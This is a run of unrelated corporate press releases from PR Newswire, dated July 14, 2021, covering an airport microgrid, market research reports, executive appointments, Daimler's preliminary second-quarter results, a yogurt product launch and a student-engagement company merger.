The microgrid will consist of five natural gas-fueled generators and nearly 10,000 solar panels, capable of producing more than 20 megawatts of electricity, the equivalent of powering more than 13,000 residential homes. The airport's current peak demand is approximately 14 megawatts.

In addition to Peoples, other firms involved in the development of the microgrid included CNX Resources, IMG Energy Solutions, EIS Solar, PJ Dick, LLI Engineering and Duquesne Light Company.

About Allegheny County Airport Authority:

Allegheny County Airport Authority, which manages Pittsburgh International Airport (PIT) and Allegheny County Airport (AGC), is committed to transforming Pittsburgh's airports to reflect and serve the community, inspire the industry, and advance the region's role as a world leader. PIT was named by Fast Company magazine as One of the Most Innovative Companies in the World as well as a finalist in its World Changing Ideas awards, both in 2020. The airport's Safe Travels initiative commits to the highest in public health and safety standards in the airport industry. The initiative, in accordance with guidelines from the Centers for Disease Control and Prevention, outlines best practices for keeping travelers healthy. For more information, visit www.flypittsburgh.com .

About Peoples:

Peoples, an Essential Utilities company, provides natural gas service to approximately 750,000 homes and businesses in Western Pennsylvania, West Virginia and Kentucky. Peoples is committed to its customers, its employees, the environment, and to the regions it serves. For more information, visit peopleshttp://www.peoples-gas.com/gas.com and follow Peoples on social media @peoplesnatgas.

For information contact:

Bob Kerlik 412-472-3557 [email protected]

SOURCE Pittsburgh International Airport

Related Links

http://www.flypittsburgh.com


CHICAGO, July 14, 2021 /PRNewswire/ -- According to the new market research report "Power Plant Control System Market by Plant Type (Coal, Natural Gas, Hydroelectric, Nuclear, Oil, and Renewable), Solution (SCADA, DCS, Programmable Controllers), Component, Application, and Region - Global Forecast to 2026", published by MarketsandMarkets, the global Power Plant Control System Market is projected to reach USD 10.2 billion by 2026 from an estimated USD 7.2 billion in 2021, at a CAGR of 7.3% during the forecast period. The growing need for zero downtime power supply solutions for critical power applications is the major driver of the rotary or Power Plant Control System Market. The advantages of rotary UPS such as high efficiency, fewer space requirements, and low lifetime costs are expected to further drive the demand. Increasing data center investments are expected to be the single biggest contributing factor to the growth of Power Plant Control System Market during the forecast period.

Download PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=30726243

The turbine & auxiliaries control is expected to be the largest Power Plant Control System Market segment by application

The market for power plant control system of turbine & auxiliaries control segment is expected to be the largest during the forecast period. The growing number of installations of wind power plants, especially in Europe and North America, along with continuing coal power plant investments in Asia Pacific, is expected to be the key driving factor for the growth of the turbine & auxiliaries control segment. With the increasing power plant investments in power plant installations the demand for power plant control system in this segment is expected to grow.

Browse in-depth TOC on "Power Plant Control System Market"

176  Tables

56  Figures

240  Pages

View Detailed Table of Content Here: https://www.marketsandmarkets.com/Market-Reports/power-plant-control-system-market-30726243.html

Renewable segment is expected to capture the major share of the Power Plant Control System Market by application

Datacenter segment by application is expected to be the largest segment during the forecast period. The demand for data centers is continuously increasing, and the amount of energy consumed by them has also surged. This is due to the increased load of IT devices that are installed in these data centers. The continuity of power supply is critical for the effective functioning of IT loads in data centers and power outages in them are costly. Investments in large hyperscale data centers have increased significantly to meet the increasing data demand. These drivers are expected to play a key role in the growth of the rotary UPS market for data center applications.

Asia Pacific is expected to be the fastest-growing segment of the global Power Plant Control System Market

The Power Plant Control System Market in Asia Pacific, led by China, is expected to grow at the highest CAGR during the forecast period. Continued investments in fossil fuel power plants, especially in China, India, and Southeast Asia, along with the increased renewable power plant investments in countries such as China, India, Japan, and South Korea, are expected to drive the demand for power plant control systems in the region.

Speak to Analyst: https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=30726243

To enable an in-depth understanding of the competitive landscape, the Power Plant Control System Market report includes profiles of some of the leading players, such as Siemens Energy (Germany), ABB (Switzerland), Emerson (US), Rockwell (US), and GE (US) along with other prominent manufacturers of power plant control system.

Browse Adjacent Markets: Energy and Power Market Research Reports & Consulting

Browse Related Reports:

Turbine Control System Market by Component (Sensors, HMI, Controllers, Software), Type (Steam, Gas), Function (Speed Control, Load Control, Temperature Control, Pressure Control), and Region (Asia Pacific, North America, Europe) - Global Forecast to 2023

https://www.marketsandmarkets.com/Market-Reports/turbine-control-system-market-154007695.html

Distributed Control Systems Market by Industry (Oil & Gas, Chemicals, Power Generation, Metals and Mining, Pharmaceutical, Paper and Pulp, Food and Beverage), Component (Hardware, Software, Services), Application, and Region - Global Forecast to 2022

https://www.marketsandmarkets.com/Market-Reports/distributed-control-system-market-239430160.html

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TORONTO, July 14, 2021 /PRNewswire/ - Predictiv AI Inc. (TSXV: PAI) (OTC: INOTF) (FSE: 71TA) ("Predictiv AI" or the "Company"), www.predictiv.ai, a software and solutions provider in the artificial intelligence markets, today announced that its Board of Directors has appointed Jim Grimes, Chairman of Predictiv AI, as interim President and Chief Executive Officer following Michael Lende's resignation effective July 30, 2021. Due to personal family matters, Mr. Lende has made the difficult decision to step down as Predictiv AI's President, Chief Executive Officer and Director of the Corporation.

The Board would like to wish Mr. Lende well and appreciates his efforts, dedication, and leadership in developing a new management team and innovative products. Mr. Lende has committed to ensuring a smooth transition of responsibilities over the next few weeks and has agreed to be available for advisory and consulting services as may be requested by the Company.

Jim Grimes, who will retain his role as Chairman of Predictiv AI, stated, "On behalf of the board, I would like to thank Michael for his dedication and stewardship of the Company over the past 15 months. Predictiv AI will continue to pursue our business strategies and to build our business."

Jim Grimes is a recognized pioneer in Canada's telecom technology industry; a highly successful angel investor and much sought-after, respected executive consultant. During his career, he opened and led the Canadian division of three early-stage Silicon Valley based telecom start-ups  Stratacom Inc. (Cisco), Xylan Inc. (Alcatel) and Access 360 (IBM). Mr. Grimes subsequently led, in concert with the Cisco Canada leadership team under Nitin Kawale, the creation of Cisco Canada Venture Fund to drive Canadian innovation. This was Cisco Global Ventures' first fund outside the US, and they successfully built and deployed $150 million in the Canadian venture ecosystem. Most recently, Mr. Grimes was VP Product Solutions within the Enterprise Business Unit at Rogers and, leveraging his vast and deep relationships in the C-suites of Canadian business, advised companies such as Next Pathway Inc. on their corporate growth, acquisition and exit strategies.

About Predictiv AI Inc.

Predictiv AI Inc. www.predictiv.ai is a technology company which helps businesses and organizations make smarter decisions using advanced artificial intelligence, deep machine learning and data science techniques. Its Weather Telematics Inc. subsidiary uses patented air quality monitoring sensors to provide predictive weather risk information to the insurance, logistics, fleet management and public safety sectors. The Company's R&D division, AI Labs Inc., develops new products that solve real-world business problems. The joint venture with Commersive Solutions Corp. is developing innovative technologies for use in various public spaces, starting with the ThermalPass temperature scanning system.

For more information on Predictiv AI, visit: www.predictiv.ai and follow Predictive AI on:

Facebook: https://www.facebook.com/PredictivAI/

Twitter: https://twitter.com/predictivai

LinkedIn: https://www.linkedin.com/company/predictivai/

Cautionary and Forward-Looking Statements

Statements contained in this news release, which are not historical facts, are forward-looking statements that involve risk, uncertainties and other factors that could cause actual results to differ materially from those expressed or implied by such forward-looking statements. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. All forward-looking statements included in this news release are based on information available to the Company on the date hereof. Forward-looking statements are subject to known and unknown risks, uncertainties and other factors that could cause actual results of the Company to differ materially from the conclusion, forecast or projection stated in such forward-looking statements. These risks, uncertainties and other factors include, but are not limited to, ThermalPass achieving the commercial results anticipated by the Company, market demand for ThermalPass and other factors referenced in the Company's other continuous disclosure filings, which are available at sedar.com. Readers should not place undue reliance on these forward-looking statements. The Company assumes no obligation to update any forward-looking statements, except as required by applicable securities laws.

_____________________________________________________________________________________

NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE

SOURCE Predictiv AI Inc.

Related Links

https://www.predictiv.ai/


STUTTGART, Germany, July 14, 2021 /PRNewswire/ -- Mercedes-Benz Cars & Vans achieved strong results in the second quarter thanks to convincing products, favorable product mix, pricing and ongoing cost discipline. This was despite negative effects from the very limited availability of semiconductor components. Daimler Trucks & Buses sales increased in almost all regions due to improved market conditions, which translated into higher profitability in the second quarter. In addition, the Daimler Trucks & Buses EBIT benefitted from strong pricing, higher aftersales business and positive, non-recurring valuation effects of around one hundred million euros. EBIT at Daimler Mobility benefitted from low cost of credit risk, a credit provision release of 120 million and improved funding costs.

In addition to the underlying operating performance, a strong cash conversion delivered a reported industrial free cash flow of 2,586 million in the second quarter, totaling an industrial free cash flow of 4,396 million in the first half of 2021.

Daimler Group EBIT, Mercedes-Benz Cars & Vans adjusted EBIT, Daimler Trucks & Buses Return on Sales (RoS) adjusted, Daimler Trucks & Buses adjusted EBIT, Daimler Mobility adjusted EBIT and Daimler's Industrial Free Cash Flow for the second quarter of 2021 are all significantly above market expectations.

"We continue to deliver a strong financial performance in all divisions despite the ongoing low availability of semiconductors, which negatively impacted our production and sales in the second quarter. We were able to post double-digit margins at Mercedes-Benz Cars and Vans for the third quarter in a row, demonstrating the resilience of our business. The key to our success is our strong lineup of highly attractive vehicles which are increasingly becoming electric, combined with our relentless focus on profitable growth and tight cost control", stated Ola Kallenius, Chairman of the Board of Management of Daimler AG and Mercedes-Benz AG.

The following stated figures for the second quarter 2021 are preliminary and unaudited:

Industrial Free Cash Flow: 2,586 million (consensus: 1,790 million)

Industrial Free Cash Flow adjusted: 2,950 million (consensus: n.a.)



Industrial Free Cash Flow adjusted: 2,950 million (consensus: n.a.) Net Industrial Liquidity: 20.9 billion (Q1 2021: 20.1 billion)



Daimler Group EBIT: 5,185 million (consensus: 4,117 million);

adjusted EBIT: 5,418 million (consensus: 4,285 million)



adjusted EBIT: 5,418 million (consensus: 4,285 million) Mercedes-Benz Cars & Vans EBIT: 3,437 million (consensus: 2,923 million);

adjusted EBIT: 3,603 million (consensus: 3,073 million)

Return on Sales (RoS) adjusted: 12.8 % (consensus: 11.5 %)



adjusted EBIT: 3,603 million (consensus: 3,073 million) Return on Sales (RoS) adjusted: 12.8 % (consensus: 11.5 %) Daimler Trucks & Buses EBIT: 820 million (consensus: 680 million);

adjusted EBIT: 831 million (consensus: 680 million)

Return on Sales (RoS) adjusted: 8.3 % (consensus: 6.9 %)



adjusted EBIT: 831 million (consensus: 680 million) Return on Sales (RoS) adjusted: 8.3 % (consensus: 6.9 %) Daimler Mobility EBIT: 924 million (consensus: 653 million);

adjusted EBIT: 930 million (consensus: 653 million)

Return on Equity (RoE) adjusted: 24.0 % (consensus: n.a.)



The preliminary results include the following adjustments affecting EBIT:

Mercedes-Benz Cars & Vans

Expenses of 107 million for legal proceedings

Expenses of 59 million for restructuring

Daimler Trucks & Buses

Expenses of 11 million for restructuring

Daimler Mobility

Expenses of 6 million for restructuring

The full quarterly results and interim report will be published on July 21st, 2021.

EBIT, adjusted EBIT, Return on Sales (RoS) adjusted, Return on Equity (RoE) adjusted, Industrial Free Cash Flow and Industrial Free Cash Flow adjusted are defined on pp. 43 and 44 of the Daimler Annual Report 2020.

Forward-looking statements:

This document contains forward-looking statements that reflect our current views about future events. The words "anticipate," "assume," "believe," "estimate," "expect," "intend," "may," "can," "could," "plan," "project," "should" and similar expressions are used to identify forward-looking statements. These statements are subject to many risks and uncertainties, including an adverse development of global economic conditions, in particular a decline of demand in our most important markets; a deterioration of our refinancing possibilities on the credit and financial markets; events of force majeure including natural disasters, pandemics, acts of terrorism, political unrest, armed conflicts, industrial accidents and their effects on our sales, purchasing, production or financial services activities; changes in currency exchange rates, customs and foreign trade provisions; a shift in consumer preferences towards smaller, lower-margin vehicles; a possible lack of acceptance of our products or services which limits our ability to achieve prices and adequately utilize our production capacities; price increases for fuel or raw materials; disruption of production due to shortages of materials, labor strikes or supplier insolvencies; a decline in resale prices of used vehicles; the effective implementation of cost-reduction and efficiency-optimization measures; the business outlook for companies in which we hold a significant equity interest; the successful implementation of strategic cooperations and joint ventures; changes in laws, regulations and government policies, particularly those relating to vehicle emissions, fuel economy and safety; the resolution of pending governmental investigations or of investigations requested by governments and the outcome of pending or threatened future legal proceedings; and other risks and uncertainties, some of which are described under the heading "Risk and Opportunity Report" in the current Annual Report or in the current Interim Report. If any of these risks and uncertainties materializes or if the assumptions underlying any of our forward-looking statements prove to be incorrect, the actual results may be materially different from those we express or imply by such statements. We do not intend or assume any obligation to update these forward-looking statements since they are based solely on the circumstances at the date of publication.

Daimler at a Glance

Daimler AG is one of the world's most successful automotive companies. With its Mercedes-Benz Cars & Vans, Daimler Trucks & Buses and Daimler Mobility divisions, the Group is one of the leading global suppliers of premium and luxury cars and one of the world's largest manufacturers of commercial vehicles. Daimler Mobility offers financing, leasing, fleet management, investments and insurance brokerage, as well as innovative mobility services. The company founders, Gottlieb Daimler and Carl Benz, made history by inventing the automobile in 1886. As a pioneer of automotive engineering, Daimler sees shaping the future of mobility in a safe and sustainable way as both a motivation and obligation. The company's focus therefore remains on innovative and green technologies as well as on safe and superior vehicles that both captivate and inspire. Daimler continues to invest systematically in the development of efficient powertrains  from high-tech combustion engines and hybrid vehicles to all-electric powertrains with battery or fuel cell  with the goal of making locally emission-free driving possible in the long term. The company's efforts are also focused on the intelligent connectivity of its vehicles, autonomous driving and new mobility concepts as Daimler regards it as its aspiration and obligation to live up to its responsibility to society and the environment. Daimler sells its vehicles and services in nearly every country of the world and has production facilities in Europe, North and South America, Asia and Africa. In addition to Mercedes-Benz, the world's most valuable luxury automotive brand (source: Interbrand study, 20 Oct. 2020), and Mercedes-AMG, Mercedes-Maybach, Mercedes-EQ and Mercedes me, its brand portfolio also includes commercial vehicle brands Mercedes-Benz Trucks Freightliner, Western Star, BharatBenz, FUSO, Setra and Thomas Built Buses as well as the brands of Daimler Mobility: Mercedes-Benz Bank, Mercedes-Benz Financial Services, Daimler Truck Financial and Athlon. The company is listed on the Frankfurt and Stuttgart stock exchanges (ticker symbol DAI). In 2020, the Group had a workforce of around 288,500 and sold 2.8 million vehicles. Group revenues amounted to 154.3 billion and Group EBIT to 6.6 billion.

SOURCE Daimler North America - Corporate Communications

Related Links

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DUBLIN, July 14, 2021 /PRNewswire/ -- The "Global and China Industrial Robot Reducer Market Insight Report, 2021-2025" report has been added to ResearchAndMarkets.com's offering.

The market prosperity of precision reducer is positively related to the industrial robot market, and also influenced by the prosperity of downstream manufacturing industry.

Although affected by the epidemic in 2020, the resumption of production in the Chinese market was basically completed in the second quarter, and the spread of overseas epidemics directly resulted in China grafting most of the overseas market production capacity, increasing the urgency of reducing costs and increasing efficiency, and the demand for robots exceeded expectations.

In 2020, the output of industrial robots in China was 237,068 units, an increase of 19.1% year-on-year. The demand for reducers was obviously driven, and the reducer market also ushered in an inflection point in 2020, achieving a year-on-year increase



We believe that under the background of the transformation and upgrading of intelligent manufacturing, under the influence of various factors such as policy stimulus, aging of social population structure and rising labor costs, the demand for industrial robots by manufacturing enterprises is a long-term trend, and short-term fluctuations are mainly due to the impact of changes in the macro environment, coupled with the emergence of the differentiation trend of downstream manufacturing industries, which is transmitted upwards to the robot field, showing the gradual subdivision of demand. At the beginning of the 14 th Five-Year Plan, the support for intelligent manufacturing equipment represented by robots is



From the demand point of view, the new demand for industrial robots is the main driving force for the development of reducer industry. In addition, the reducer itself has a rated service life and needs to be replaced regularly, that is, the replacement in the stock market is also one of the demand directions. The working life of industrial robots is generally 8-10 years, during which the reducer, as a transmission and load-bearing component, is inevitably worn, and its service life is usually about two years. Therefore, the maintenance of existing industrial robots also needs a large number of reducers to be replaced.



In 2020, the incremental demand of China's industrial robot reducers is 422,500 units, up 19.99% year-on-year, and the stock replacement will be 100,400 units, up 12.18% year-on-year. The total demand is 522,900 units, up 18.41% year-on-year, and the market will usher in an inflection point. The main reason is that the demand of the industrial robot industry is picking up, the new demand is growing rapidly, and most reducer manufacturers are welcoming the growth of performance.



In the long run, under the background of transformation and upgrading of intelligent manufacturing, under the influence of policy stimulation, aging of social population structure, rising labor cost and other factors, the demand for industrial robots in manufacturing enterprises will gradually release, which will expand the incremental space of the reducer market.

At the same time, the reducer itself has a rated service life, and the existing industrial robots need to be replaced regularly. With the acceleration of digitalization, machine substitution will benefit from it, and it is expected that the certainty of reducer market growth will be further enhanced in the next few years. We estimate that the total demand for reducers for industrial robots in China will be about 3.8-4.06 million units from 2021 to 2025.



Key Topics Covered:



1 Analyzes the development environment of China's industrial robot reducer

1.1 Analysis of Industry Policy Development Environment

1.2 Analysis of Industry Economic Development Environment

1.2.1 The demographic dividend is gradually disappearing

1.2.2 The labor cost of manufacturing industry has increased rapidly

1.2.3 Robots change crowds

1.3 Analysis of Industry Technology Development Environment

1.3.1 Analysis of patent application for RV reducer technology

1.3.2 The harmonic reducer technology patent application analysis

1.3.3 Analysis of technology development trend



2 Analyzes the development of China's industrial robot market

2.1 Industrial robot sales and market size

2.2 Market share of major brands of industrial robots



3 Market Analysis of Industrial Robot Reducer

3.1 Analysis of Overall Development of Reducer

3.2 Analysis of Market Characteristics of Robot Reducer

3.2.1 Analysis of product application characteristics

3.2.2 the industry competition characteristics analysis

3.2.2 Market Demand Analysis of Industrial Robot Reducer

3.3 The price analysis of industrial robot reducer

3.3.1 Average price of products

3.3.2 On behalf of the enterprise product prices

3.4 Market Competition Analysis of Industrial Robot Reducer

3.4.1 Market share analysis of industrial robot reducer

3.4.2 Analysis of localization

3.4.3 Analysis of the Competition of Key Enterprises in China



4 Analyzes the market segmentation of domestic industrial robot reducer

4.1 RV reducer market development analysis

4.1.1 development of domestic industry of RV reducer

4.1.2 RV reducer domestic representative enterprises

4.2 Harmonic reducer market development analysis

4.2.1 Development of domestic industry of harmonic reducer

4.2.2 Analysis of domestic enterprises of harmonic reducer

4.3 Development Analysis of Reducer of Cooperative Robot

4.3.1 The development analysis of the main technologies of cooperative robots

4.3.2 The cooperative robot market development analysis

4.3.3 Market size analysis of reducer for cooperative robot



5 Analyzes the development of domestic industrial robot reducer

5.1 Analysis of Technical Strength of Enterprises

5.1.1 the analysis of the current technical situation of domestic enterprises

5.1.2 the analysis of the technological gap between domestic and foreign enterprises

5.1.3 high precision reducer "one-stop" application plan

5.2 Investment analysis of reducer project in the second quarter

5.2.1 Analysis of Enterprise Distribution

5.2.2 Analysis of Capacity and Output

5.2.3 bearing supply analysis of reducer manufacturers



6 Analysis of Key Domestic Peers



Companies Mentioned

Qinchuan Machine Tool & Tool Group Share Co., Ltd.

Shanghai Mechanical & Electrical Industry Co., Ltd.

Zhejiang Shuanghuan Driveline Co., Ltd.

Hengfengtai Precision Machinery Co., Ltd.

Ningbo Zhongda Leader Intelligent Transmission Co., Ltd.

Nantong Zhenkang Welding Electromachinery Co., Ltd

Shuaike Machinery Manufacturing Co., Ltd.

Leader Harmonious Drive Systems Co., Ltd.

Beijing CTKM Harmonic Drive Co., Ltd.

Dongguan Banrin Robot Technology Co., Ltd.

Han's Laser Technology Industry Group Co., Ltd.

NIDEC-SHIMPO ( Zhejiang ) Corporation

For more information about this report visit https://www.researchandmarkets.com/r/hkmwf5

Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]



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For GMT Office Hours Call +353-1-416-8900



U.S. Fax: 646-607-1904

Fax (outside U.S.): +353-1-481-1716

SOURCE Research and Markets

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NEW YORK, July 14, 2021 /PRNewswire/ -- QIC, a long-term specialist manager in alternatives, announced today that it has bolstered QIC's Private Debt capability this week with the addition of the head of QIC's new Infrastructure Debt capability, a further senior hire in New York, and the head of the operational and strategic support capability in Brisbane, Australia.

Evan Nahnsen has joined QIC as Head of Private Debt, Infrastructure. Evan is based in QIC's New York office with responsibility for leading a global investment team, initially located in New York and London. With more than 15 years' experience, Evan has a proven record of leadership and creativity in infrastructure debt deal origination, structuring and execution. He joins the business from AMP Capital where he was a Principal on the infrastructure debt team. Evan reports directly to Head of QIC Private Debt Andrew Jones.

Lindsay Scully has joined QIC's New York office as a Principal on the infrastructure debt team. A former Director in the Energy and Infrastructure Group at Credit Agricole Corporate and Investment Bank with more than 15 years of experience, Lindsay will be responsible for the origination of investment opportunities in the North American market. In her previous role, Lindsay originated, structured and executed loans principally focusing on power generation and midstream energy assets in North America.

QIC has also welcomed David Spiez as General Manager, Strategy and Operations  Private Debt. David will be based in QIC's headquarters in Brisbane. David provides operational, strategic, financial and client advice and support to the Private Debt team globally. He is also responsible for ensuring that the team's governance and operational processes are of the highest standard. David joins QIC from Standard Chartered Bank where he was Managing Director  Commercial Real Estate, responsible for originating and executing strategic transactions for clients across EMEA and global markets.

In welcoming Evan, Lindsay and David, Head of QIC Private Debt Andrew Jones said that he was excited by the calibre of talent joining QIC:

"We continue to see attractive investment opportunities globally for investors in the subordinated infrastructure debt space. Given the experience and capability of our new colleagues, we are positioning ourselves to capture the best of these opportunities for our clients. We look forward to continuing to build out our investment capability in this strategy and expect to be in a position to announce further additions to the team shortly."

About QIC:

QIC is a long-term specialist manager in alternatives offering infrastructure, real estate, private capital, liquid strategies and multi-asset investments. It is one of the largest institutional investment managers in Australia, with A$85bn (US$65bn) in funds under management[1]. QIC has over 800 employees and serves more than 115 clients. Headquartered in Brisbane, Australia, QIC also has offices in Sydney, Melbourne, New York, Los Angeles, San Francisco, London and Copenhagen. For more information, please visit: www.qic.com.

[1]As at 31 Dec 2020

Important Information

QIC Limited ACN 130 539 123 ("QIC") is a wholesale funds manager and its products and services are not directly available to, and this document may not be provided to any, retail clients. QIC is a company government owned corporation constituted under the Queensland Investment Corporation Act 1991 (Qld). QIC is regulated by State Government legislation pertaining to government owned corporations in addition to the Corporations Act 2001 (Cth) ("Corporations Act"). QIC Private Capital Pty Ltd ("QPC"), a wholly owned subsidiary of QIC, has been issued with an AFS licence and other wholly owned subsidiaries of QIC are authorised representatives of QPC. QIC's subsidiaries are required to comply with the Corporations Act. QIC does not hold an Australian financial services ("AFS") licence and certain provisions (including the financial product disclosure provisions) of the Corporations Act do not apply to QIC. QIC also has wholly owned subsidiaries authorised, registered or licensed by the United Kingdom Financial Conduct Authority ("FCA"), the United States Securities and Exchange Commission ("SEC") and the Korean Financial Services Commission.

For more information about QIC, our approach, clients and regulatory framework, please refer to our website www.qic.com or contact us directly.

The statements and any opinions in this document (the "Information") are for commentary purposes only and do not take into account any investor's personal, financial or tax objectives, situation or needs. The Information is not intended to constitute personal legal or investment advice and it does not constitute, and should not be construed as, an offer to sell or solicitation of an offer to buy, securities or any other investment, investment management or advisory services.

SOURCE QIC

Related Links

https://www.qic.com


CHARLOTTESVILLE, Va., July 14, 2021 /PRNewswire/ -- Quad-C Management, Inc. ("Quad-C"), a leading middle market private equity firm, today announced that it has completed a majority investment in Apps Associates an enterprise applications services leader focused on helping organizations strategize, execute and integrate digital transformation initiatives across the enterprise.

"We have been pursuing an investment thesis based on digital transformation of the economy for the past year, and Apps Associates is ideally positioned to benefit from these long-term secular tailwinds," said Jack Walker, Partner at Quad-C. "In addition to capitalizing on the market growth, we will look to expand the company's service offerings and extend its geographic footprintboth organically and through acquisition."



In addition to its best-in-class technical expertise, Apps Associates differentiates itself through relentless attention to delivery excellence and customer care. The company, with more than 950 employees across the US, India and Germany, is an Oracle Partner, a Premier Consulting Partner with Amazon Web Services, a Salesforce Consulting Partner, and a Snowflake Select Partner.

"Adrian King and his team have done a remarkable job building the Apps Associates platform over the last 4 years," added Tim Billings, Partner at Quad-C. "We are fortunate to be partnering with such a talented group of associates and look forward to working with them to build on the company's success."

"We are excited to partner with Quad-C on the next phase of Apps Associates' growth," said Adrian King, CEO of Apps Associates. "Their deep experience with both human capital management and technology-enabled services businesses will be valuable as we look to execute on our shared vision for the future of the business."

To kick start the shared corporate vision, Apps Associates will welcome industry veteran Larry Jones, who will join the board of directors as Chairman. Jones brings a wealth of more than 30+ years of experience in the technology services market, including most recently serving as CEO of Coalfire Systems.



About Quad-C

Founded in 1989 and headquartered in Charlottesville, Virginia, Quad-C is a middle market private equity firm focused on investing in well-established business and consumer services, healthcare, industrials, specialty distribution, and transportation / logistics companies. In its three-decade history, Quad-C has invested over $3 billion of capital in more than 70 platform companies. The Quad-C team is committed to partnering with entrepreneurs and management teams to accelerate growth and create long-term value. Learn more about Quad-C at www.quadcmanagement.com.



About Apps Associates

Apps Associates is an enterprise application services leader with a customer-first focus. Apps Associates has more than two decades of experience helping organizations innovate through digital transformation initiatives. Our customers turn to Apps Associates for strategic counsel, system integration and the services required to solve their most complex business challenges  utilizing experience in analytics, application modernization, process automation, digital systems, technology and operations. To learn more about how Apps Associates can help you align your business with the right technology, visit: www.appsassociates.com, or follow Apps Associates on social media on Twitter and LinkedIn.

SOURCE Quad-C Management, Inc.

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WASHINGTON, July 14, 2021 /PRNewswire/ -- Statement from Bob McNally, Founder and President of Rapidan Energy Group:

"I am delighted to announce that Jeff Berman will join Rapidan Energy Group in early August in the role of Director of Energy Transition Analysis. Jeff comes to Rapidan after ten successful years at S&P Global Platts/PIRA Energy Group, where he led analytics coverage across a range of emissions and clean energy markets. With Jeff's contribution, Rapidan will deepen and expand its coverage of energy transition policies across all facets of the energy sector."

In this new role, Jeff will bolster Rapidan's ability to provide energy investors and traders with objective and astute insight into the policy drivers behind the global energy transition.

Further, Jeff will spearhead Rapidan's coverage of the policy and fundamental drivers of carbon markets, low-carbon energy, and energy transition investment at the state, national, and international levels. His research will flow primarily through Rapidan's Energy Policy Service (EPS), working closely with EPS Director Glenn Schwartz. Berman's expertise will also support Rapidan's Global Oil Service, Geopolitical Risk Service, and China Advisory Service.

In his prior role, Jeff was responsible for short- and long-term forecasting for a number of global carbon markets, based on supply-demand fundamentals and ongoing regulatory/legislative updates. Additionally, he developed detailed assessments of a range of decarbonization policies across North America, Europe, and Asia and their impacts on thermal fuels markets. He was also instrumental in constructing forecasts of renewable energy penetration and cost curves.

Jeff began his career at MDRC, a New York-based public policy research organization. He also worked for Argus Media, Inc., where he reported on upstream/downstream development in the Russian oil and gas industry.

Jeff earned an MA in International Affairs and International Energy Management and Policy from Columbia University and a BA from the London School of Economics.

Rapidan Energy Group provides differentiated and actionable insights on energy markets, policy, and geopolitics. We help leading corporations and financial market participants identify opportunities and manage risks in the global energy industry and markets. For more information, please visit www.rapidanenergy.com .

Contact:

Phil Ovitt

512 550 4411

[email protected]

SOURCE Rapidan Energy Group

Related Links

https://www.rapidanenergy.com/


BEDFORD PARK, Ill., July 14, 2021 /PRNewswire/ -- Raymundo's Food Group, a leading ethnic food producer, announced today that Desi Natural, the leading Dahi (Indian Style Yogurt) brand in the U.S., is expanding its product line to include Lassi, Yogurt Drinks and Whole Milk Flavored Dahi. Using only natural ingredients  Grade A milk, real fruit, spices and high-quality yogurt - the new products are vegetarian and gelatin, gluten and artificial preservative-free.

"We are delighted to add the variety of Lassi, Yogurt Drinks and Whole Milk Flavored Dahi to our iconic product portfolio," said Larry LaPorta, General Manager of Raymundo's Food Group, Dairy. "For over 20 years, Desi Natural has been producing authentic, wholesome Asian Indian products, bringing people together and celebrating sweet memories and flavors that are close to your heart. This is even more relevant in today's environment."

Desi Natural Lassi and Yogurt Drinks are available in two sought-after and familiar flavors: Alphonso Mango and Strawberry (both in 16oz and 50oz). These perfectly blended refreshing drinks are a sweet treat the whole family will love. Desi Natural's Alphonso mango, or king of mangos, is sourced directly from India delivering a familiar sweet and creamy taste. These updated lassi products include 50 percent more mango than previous formulations, bringing more of the mango taste that customers know and love.

Desi Natural's yogurt drink line-up is based on traditional flavors and include Masala Chaas, Salted Yogurt Drink, and Mint. A perfect way to beat the summer heat, these 16oz and 50oz refreshing drinks feature the perfect mix of spices and salt, just like homemade.

These exciting new and flavorful products can be found in Asian Indian Grocery stores across the country now. Visit DesiFreshFoods.com for more authentic products and recipes.

About Raymundo's Food Group:

Raymundo's Food Group is an industry-leading maker of ethnic desserts, snacks, drinks, lassi and dahi, specializing in creating authentic and traditional food that builds faithful fans and loyal retailers. Raymundo's Food Group's family of brands include Raymundo's, Desi Natural, and NOGA. The company is headquartered in the Chicago suburb of Bedford Park, IL. Through traditional flavors, nostalgic recipes, manufacturing expertise and steadfast quality standards, Raymundo's Food Group creates food that honors people and their cultures. To learn more, visit raymundosfoodgroup.com.

Media Contact:

Natalie Boscia, Natalie B Public Relations

[email protected] | 773.317.1088

SOURCE Raymundo's Food Group

Related Links

http://raymundosfoodgroup.com


"We are thrilled to finalize this transaction, which benefits our stakeholders, including customers, partners, students and employees," said Gary Fortier, CEO of Ready Education. "Today marks a new era and the next phase of growth for Ready Education as we work with Level Equity to advance our primary goal of improving student success globally. Level Equity's financial resources and experience supporting high-growth organizations will enable us to rapidly invest more in our product, customer experience, enter new markets, and enhance our best-in-class student engagement platform."

"Across our businesses, we provide the opportunity for hundreds of higher ed institutions to actively engage and communicate with millions of students globally, resulting in improved student success," continued Fortier. "We're thrilled to be able to bring together the knowledge, experience, and resources of all three companies."

Partner institutions like Eastern Michigan University, Kentucky Community and Technical College System, Nottingham Trent University, University of Birmingham, Utrecht University and Inholland University of Applied Sciences, will be able to leverage a stronger network of resources to support students and develop interventions while benefiting from new tools to keep students engaged and readily deliver the resources they need.

"Collabco has been able to have a significant impact on student lives thanks to the hard work and commitment of the team," said Andrew Taylor, CEO of Collabco. "I am hugely excited to see this impact magnified by joining with Ready Education and StuComm to become a truly global force in student engagement."

"I am proud of what we have achieved with StuComm. Joining forces with Ready Education and Collabco is an exciting next chapter," said Ronald Kouvelt, CEO of StuComm. "It is a reward for our hard work and with our combined knowledge, experience, and resources, we will drive student engagement worldwide, as one Ready Education."

About Ready Education

Trusted by 425+ institutions to build community and increase retention by 2-4%, Ready Education is the leading mobile student engagement platform on a mission to improve student success in higher education worldwide. The student-centric mobile app meets 4M+ students where they are and is a holistic solution for supporting the full student experience through interventions, communications, connections with peers and faculty, and access to campus resources. With over 90% student adoption and being the highest-rated campus app, the platform is essential for crafting digital student experiences.

To learn more about Ready Education, visit: www.readyeducation.com

https://www.readyeducation.com/student-engagement-worldwide

About Level Equity

